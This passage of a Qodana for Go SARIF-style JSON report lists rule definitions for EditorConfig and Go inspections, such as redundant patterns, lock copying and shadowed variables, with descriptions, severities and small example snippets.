\"EditorConfigPatternEnumerationRedundancy\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigEncoding\",\n                \"shortDescription\": {\n                  \"text\": \"File encoding doesn't match EditorConfig charset\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Checks that current file encoding matches the encoding defined in \\\"charset\\\" property of .editorconfig file.\",\n                  \"markdown\": \"Checks that current file encoding matches the encoding defined in \\\"charset\\\" property of .editorconfig file.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigEncoding\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigRootDeclarationCorrectness\",\n                \"shortDescription\": {\n                  \"text\": \"Unexpected top-level declaration\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unexpected top-level declarations. Top-level declarations other than “root=true” are not allowed in the EditorConfig file.\",\n                  \"markdown\": \"Reports unexpected top-level declarations. Top-level declarations other than \\\"root=true\\\" are not allowed in the EditorConfig file.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigRootDeclarationCorrectness\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigReferenceCorrectness\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports identifiers that are either unknown or have a wrong type.\",\n                  \"markdown\": \"Reports identifiers that are either unknown or have a wrong type.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigReferenceCorrectness\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigPairAcceptability\",\n                \"shortDescription\": {\n                  \"text\": \"Unexpected key-value pair\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports key-value pairs that are not allowed in the current context.\",\n                  \"markdown\": \"Reports key-value pairs that are not allowed in the current context.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigPairAcceptability\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigPatternRedundancy\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate or redundant pattern\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports file patterns that are redundant as there already are other patterns that define the same scope of files or even a broader one. For example, in '[{*.java,*}]' the first '*.java' pattern defines a narrower scope compared to '*'. That is why it is redundant and can be removed.\",\n                  \"markdown\": \"Reports file patterns that are redundant as there already are other patterns that define the same scope of files or even a broader one. For example, in `[{*.java,*}]` the first `*.java` pattern defines a narrower scope compared to `*`. That is why it is redundant and can be removed.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigPatternRedundancy\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigNoMatchingFiles\",\n                \"shortDescription\": {\n                  \"text\": \"No matching files\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports sections with wildcard patterns that do not match any files under the directory in which the '.editorconfig' file is located.\",\n                  \"markdown\": \"Reports sections with wildcard patterns that do not match any files under the directory in which the `.editorconfig` file is located.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigNoMatchingFiles\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigDeprecatedDescriptor\",\n                \"shortDescription\": {\n                  \"text\": \"Deprecated property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports EditorConfig properties that are no longer supported.\",\n                  \"markdown\": \"Reports EditorConfig properties that are no longer supported.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigDeprecatedDescriptor\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigWildcardRedundancy\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant wildcard\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports wildcards that become redundant when the “**” wildcard is used in the same section. The “**” wildcard defines a broader set of files than any other wildcard. That is why, any other wildcard used in the same section has no affect and can be removed.\",\n                  \"markdown\": \"Reports wildcards that become redundant when the \\\"\\\\*\\\\*\\\" wildcard is used in the same section.\\n\\n\\nThe \\\"\\\\*\\\\*\\\" wildcard defines a broader set of files than any other wildcard.\\nThat is why, any other wildcard used in the same section has no affect and can be removed.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigWildcardRedundancy\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigHeaderUniqueness\",\n                \"shortDescription\": {\n                  \"text\": \"EditorConfig section is not unique\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports sections that define the same file pattern as other sections.\",\n                  \"markdown\": \"Reports sections that define the same file pattern as other sections.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigHeaderUniqueness\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigShadowedOption\",\n                \"shortDescription\": {\n                  \"text\": \"Overridden property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports properties that are already defined in other sections. For example: '[*.java]\\nindent_size=4\\n[{*.java,*.js}]\\nindent_size=2' The second section includes all '*.java' files too but it also redefines indent_size. As a result the value 2 will be used for files matching '*.java'.\",\n                  \"markdown\": \"Reports properties that are already defined in other sections.\\n\\nFor example:\\n\\n\\n    [*.java]\\n    indent_size=4\\n    [{*.java,*.js}]\\n    indent_size=2\\n\\nThe second section includes all `*.java` files too but it also redefines indent_size. As a result the value 2 will be used for files matching `*.java`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigShadowedOption\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigEmptyHeader\",\n                \"shortDescription\": {\n                  \"text\": \"Empty header\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports sections with an empty header. Section header must contain file path globs in the format similar to one supported by 'gitignore'.\",\n                  \"markdown\": \"Reports sections with an empty header. Section header must contain file path globs in the format similar to one supported by `gitignore`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigEmptyHeader\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigValueCorrectness\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid property value\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports property values that do not meet value restrictions. For example, some properties may be only “true” or “false”, others contain only integer numbers etc. If a value has a limited set of variants, use code completion to see all of them.\",\n                  \"markdown\": \"Reports property values that do not meet value restrictions. For example, some properties may be only \\\"true\\\" or \\\"false\\\", others contain only integer numbers etc. If a value has a limited set of variants, use code completion to see all of them.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigValueCorrectness\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigVerifyByCore\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid .editorconfig file\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Verifies the whole file using the backing EditorConfig core library and reports any failures. Any such failure would prevent EditorConfig properties from being correctly applied.\",\n                  \"markdown\": \"Verifies the whole file using the backing EditorConfig core library and reports any failures. Any such failure would prevent EditorConfig properties from being correctly applied.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigVerifyByCore\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigValueUniqueness\",\n                \"shortDescription\": {\n                  \"text\": \"Non-unique list value\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports duplicates in lists of values.\",\n                  \"markdown\": \"Reports duplicates in lists of values.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigValueUniqueness\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigMissingRequiredDeclaration\",\n                \"shortDescription\": {\n                  \"text\": \"Required declarations are missing\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports properties that miss the required declarations. Refer to the documentation for more information.\",\n                  \"markdown\": \"Reports properties that miss the required declarations. Refer to the documentation for more information.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigMissingRequiredDeclaration\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigCharClassLetterRedundancy\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate character class letter\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports wildcard patterns in the EditorConfig section that contain a duplicate character in the character class, for example '[aa]'.\",\n                  \"markdown\": \"Reports wildcard patterns in the EditorConfig section that contain a duplicate character in the character class, for example `[aa]`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigCharClassLetterRedundancy\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigSpaceInHeader\",\n                \"shortDescription\": {\n                  \"text\": \"Space in file pattern\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports space characters in wildcard patterns that affect pattern matching. If these characters are not intentional, they should be removed.\",\n                  \"markdown\": \"Reports space characters in wildcard patterns that affect pattern matching. If these characters are not intentional, they should be removed.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigSpaceInHeader\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigOptionRedundancy\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports properties that are redundant when another applicable section already contains the same property and value. For example: '[*]\\nindent_size=4\\n[*.java]\\nindent_size=4' are both applicable to '*.java' files and define the same 'indent_size' value.\",\n                  \"markdown\": \"Reports properties that are redundant when another applicable section already contains the same property and value.\\n\\n\\nFor example:\\n\\n\\n    [*]\\n    indent_size=4\\n    [*.java]\\n    indent_size=4\\n\\nare both applicable to `*.java` files and define the same `indent_size` value.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigOptionRedundancy\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigUnusedDeclaration\",\n                \"shortDescription\": {\n                  \"text\": \"Unused declaration\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unused declarations. Such declarations can be removed.\",\n                  \"markdown\": \"Reports unused declarations. Such declarations can be removed.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigUnusedDeclaration\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigUnexpectedComma\",\n                \"shortDescription\": {\n                  \"text\": \"Unexpected comma\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports commas that cannot be used in the current context. Commas are allowed only as separators for values in lists.\",\n                  \"markdown\": \"Reports commas that cannot be used in the current context. Commas are allowed only as separators for values in lists.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigUnexpectedComma\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"org.jetbrains.plugins.go\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"GoVetCopyLock\",\n                \"shortDescription\": {\n                  \"text\": \"Locks mistakenly passed by value\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports locks that are mistakenly passed by values. Accidentally copying a value containing a lock may cause both copies to work incorrectly. Generally, such values should be referred to through a pointer. A lock here means a type implementing 'sync.Locker', such as 'sync.Mutex' or 'sync.WaitGroup'. Example: 'type SafeInt struct {\\n  m sync.Mutex\\n  i int\\n}\\n\\nfunc (s SafeInt) Inc() { // mutex is copied\\n  s.m.Lock()\\n  s.i++\\n  s.m.Unlock()\\n}' After the Add pointer quick-fix is applied: 'type SafeInt struct {\\n  m sync.Mutex\\n  i int\\n}\\n\\nfunc (s *SafeInt) Inc() {\\n  s.m.Lock()\\n  s.i++\\n  s.m.Unlock()\\n}'\",\n                  \"markdown\": \"Reports locks that are mistakenly passed by values.\\n\\nAccidentally copying a value containing a lock may cause both copies to work incorrectly. Generally, such values should be\\nreferred to through a pointer. A lock here means a type implementing `sync.Locker`, such as `sync.Mutex`\\nor `sync.WaitGroup`.\\n\\nExample:\\n\\n    type SafeInt struct {\\n      m sync.Mutex\\n      i int\\n    }\\n\\n    func (s SafeInt) Inc() { // mutex is copied\\n      s.m.Lock()\\n      s.i++\\n      s.m.Unlock()\\n    }\\n\\nAfter the **Add pointer** quick-fix is applied:\\n\\n    type SafeInt struct {\\n      m sync.Mutex\\n      i int\\n    }\\n\\n    func (s *SafeInt) Inc() {\\n      s.m.Lock()\\n      s.i++\\n      s.m.Unlock()\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVetCopyLock\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoVetImpossibleInterfaceToInterfaceAssertion\",\n                \"shortDescription\": {\n                  \"text\": \"Impossible interface type assertion\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports impossible interface-to-interface type assertions. Checks for type assertions 'v.(T)' and corresponding type-switch cases in which the static type 'V' of 'v' is the interface that cannot possibly implement the target interface 'T'. This occurs when 'V' and 'T' contain methods with the same name but different signatures. Example: 'var v interface {\\n  Read()\\n}\\n_ = v.(io.Reader)' The 'Read' method in 'v' has a different signature than the 'Read' method in 'io.Reader', so this assertion cannot succeed. This inspection only reports if the language version is 1.15 or higher.\",\n                  \"markdown\": \"Reports impossible interface-to-interface type assertions.\\n\\nChecks for type assertions `v.(T)` and corresponding type-switch cases\\nin which the static type `V` of `v` is the interface that\\ncannot possibly implement the target interface `T`. This occurs when\\n`V` and `T` contain methods with the same name but\\ndifferent signatures.\\n\\nExample:\\n\\n    var v interface {\\n      Read()\\n    }\\n    _ = v.(io.Reader)\\n\\nThe `Read` method in `v` has a different signature than\\nthe `Read` method in `io.Reader`, so this assertion\\ncannot succeed.\\n\\nThis inspection only reports if the language version is 1.15 or higher.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVetImpossibleInterfaceToInterfaceAssertion\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnusedTypeParameter\",\n                \"shortDescription\": {\n                  \"text\": \"Unused type parameter\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unused type parameters. 'func main() {\\n printAll(\\n  42,\\n  \\\"bird\\\",\\n )\\n}\\n\\nfunc printAll[I int, S string](\\n i I,\\n s string,\\n) {\\n fmt.Println(i)\\n fmt.Println(s)\\n}' The printAll function has two type parameters 'I' and 'S' but uses only the first of them. Therefore, the 'S string' is grayed out.\",\n                  \"markdown\": \"Reports unused type parameters.\\n\\n    func main() {\\n     printAll(\\n      42,\\n      \\\"bird\\\",\\n     )\\n    }\\n\\n    func printAll[I int, S string](\\n     i I,\\n     s string,\\n    ) {\\n     fmt.Println(i)\\n     fmt.Println(s)\\n    }\\n\\nThe **printAll** function has two type parameters `I` and `S` but uses only the first of them.\\nTherefore, the `S string` is grayed out.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnusedTypeParameter\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoShadowedVar\",\n                \"shortDescription\": {\n                  \"text\": \"Shadowing variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports declarations of variables that overlap with the declarations in the outer scope. As the meaning of the variable depends on the scope in that case, it may create confusion and lead to unintended consequences. Example: 'for i := 0; i < len(nums); i++ {\\n    for i := 0; i < len(nums); i++ {\\n    }\\n  }' The 'i' variable in the embedded loop is shadowed. To get rid of shadowing, consider renaming the variable in the embedded loop. 'for i := 0; i < len(nums); i++ {\\n    for j := 0; j < len(nums); j++ {\\n    }\\n  }'\",\n                  \"markdown\": \"Reports declarations of variables that overlap with the declarations in the outer scope.\\n\\nAs the meaning of the variable depends on the scope in that case, it may create confusion and lead to unintended consequences.\\n\\nExample:\\n\\n    for i := 0; i < len(nums); i++ {\\n        for i := 0; i < len(nums); i++ {\\n        }\\n      }\\n\\nThe `i` variable in the embedded loop is shadowed. To get rid of shadowing, consider renaming the variable\\nin the embedded loop.\\n\\n    for i := 0; i < len(nums); i++ {\\n        for j := 0; j < len(nums); j++ {\\n        }\\n      }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoShadowedVar\",\n                    \"ideaSeverity\": \"TEXT ATTRIBUTES\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoVetFailNowInNotTestGoroutine\",\n                \"shortDescription\": {\n                  \"text\": \"'FailNow' in a non-test goroutine\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports calls to 'testing.T.FailNow' and similar methods located in goroutines in test files. Methods like 'FailNow' call 'runtime.Goexit' and stop the calling goroutine, not the test. Therefore, they must only be called from the goroutine that runs the test or benchmark. For more information about 'FailNow', refer to func (*T) FailNow at go.dev. Example: 'func TestFoo(t *testing.T) {\\n  go func() {\\n    t.Fatal(\\\"oops\\\") //exits goroutine, not TestFoo\\n  }()\\n}' After the Replace with 'Error' and 'return' quick-fix is applied: 'func TestFoo(t *testing.T) {\\n  go func() {\\n    t.Error(\\\"oops\\\")\\n    return\\n  }()\\n}'\",\n                  \"markdown\": \"Reports calls to `testing.T.FailNow` and similar methods located in goroutines in test files.\\n\\nMethods like `FailNow` call `runtime.Goexit` and stop the calling goroutine, not the test.\\nTherefore, they must only be called from the goroutine that runs the test or benchmark.\\n\\nFor more information about `FailNow`, refer to [func (\\\\*T) FailNow at\\ngo.dev](https://pkg.go.dev/testing#T.FailNow).\\n\\nExample:\\n\\n    func TestFoo(t *testing.T) {\\n      go func() {\\n        t.Fatal(\\\"oops\\\") //exits goroutine, not TestFoo\\n      }()\\n    }\\n\\nAfter the **Replace with 'Error' and 'return'** quick-fix is applied:\\n\\n    func TestFoo(t *testing.T) {\\n      go func() {\\n        t.Error(\\\"oops\\\")\\n        return\\n      }()\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVetFailNowInNotTestGoroutine\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoRedundantImportAlias\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant import alias\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports aliases of imported packages that may be omitted. Usually, such aliases equal to the names of the imported packages, so aliases have no effect and one can use package names directly. Example: 'import fmt \\\"fmt\\\"' The 'fmt' alias duplicates the package name that is also named '\\\"fmt\\\"'. To delete the alias, use the Delete import alias quick-fix. After the quick-fix is applied: 'import \\\"fmt\\\"'\",\n                  \"markdown\": 